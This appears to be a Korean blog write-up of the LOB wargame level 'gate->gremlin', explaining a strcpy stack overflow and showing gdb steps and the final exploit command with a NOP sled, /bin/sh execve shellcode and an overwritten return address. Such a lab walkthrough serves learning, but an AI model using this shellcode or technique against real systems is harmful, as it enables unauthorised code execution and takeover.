LOB gate->gremlin 문제다.
telnet으로 접속하면 gate / gate 접속하면 gremlin문제와 소스가 있다.
간단하다. 입력을 받아서 buffer에다가 strcpy를 한다.
gdb를 까기전에.. 현재 setuid상태로 gdb로 안된다.
고로 cp gremlin /tmp로 tmp에 옮겨서 해보자.
먼저 사이즈를 0x100*(256)만큼 esp에 할당해준다.
buffer(256) |
SFP(4) |
ret(4) |
이형태이니 buffer와 sfp를 덮어씌우고 ret에 주소를 변조하여 eip가 미쳐 날뛰게 조작하자.
b p를 strcpy가 실행된 다음인 *main+59에 걸어주자
먼저 A를 256개 넣어주고 BBBB를 넣어주자.
r `python -c 'print "A"*256+"BBBB"'`
입력이 잘 된걸 확인 한 뒤, x/100x $esp로 esp를 보자
A(0x41)로 256개 잘 들어가있고.. B(0x42)가 SFP(4)에 잘들어가있따.
그럼 공격포인트 잡고 실행하자.
쉘코드는 ftz풀었을때 만들어둔 25byte짜리 쉘코드다.
처음 쉘코드는
./gremlin `python -c 'print "\x90"*72+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*163+"\x60\xf9\xff\xbf"'` 이거였다.
근데 잘 안됐다.
곰곰히 생각해보니 내가 NOP로 90을 넣어놓고 자꾸 쉘코드의 시작주소인 bffff960으로 실행하니까 잘안된거같았다.
그래서그보다 위인 f930으로 조작했다.
./gremlin `python -c 'print "\x90"*72+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*163+"\x30\xf9\xff\xbf"'`
끝.
hello bof world
'wargame > S_LOB' 카테고리의 다른 글
wolfman->darkelf (2) | 2016.08.31 |
---|---|
orc->wolfman (0) | 2016.06.24 |
goblin->orc (0) | 2016.06.23 |
cobolt -> goblin (0) | 2016.06.14 |
gremlin->cobolt (0) | 2016.06.12 |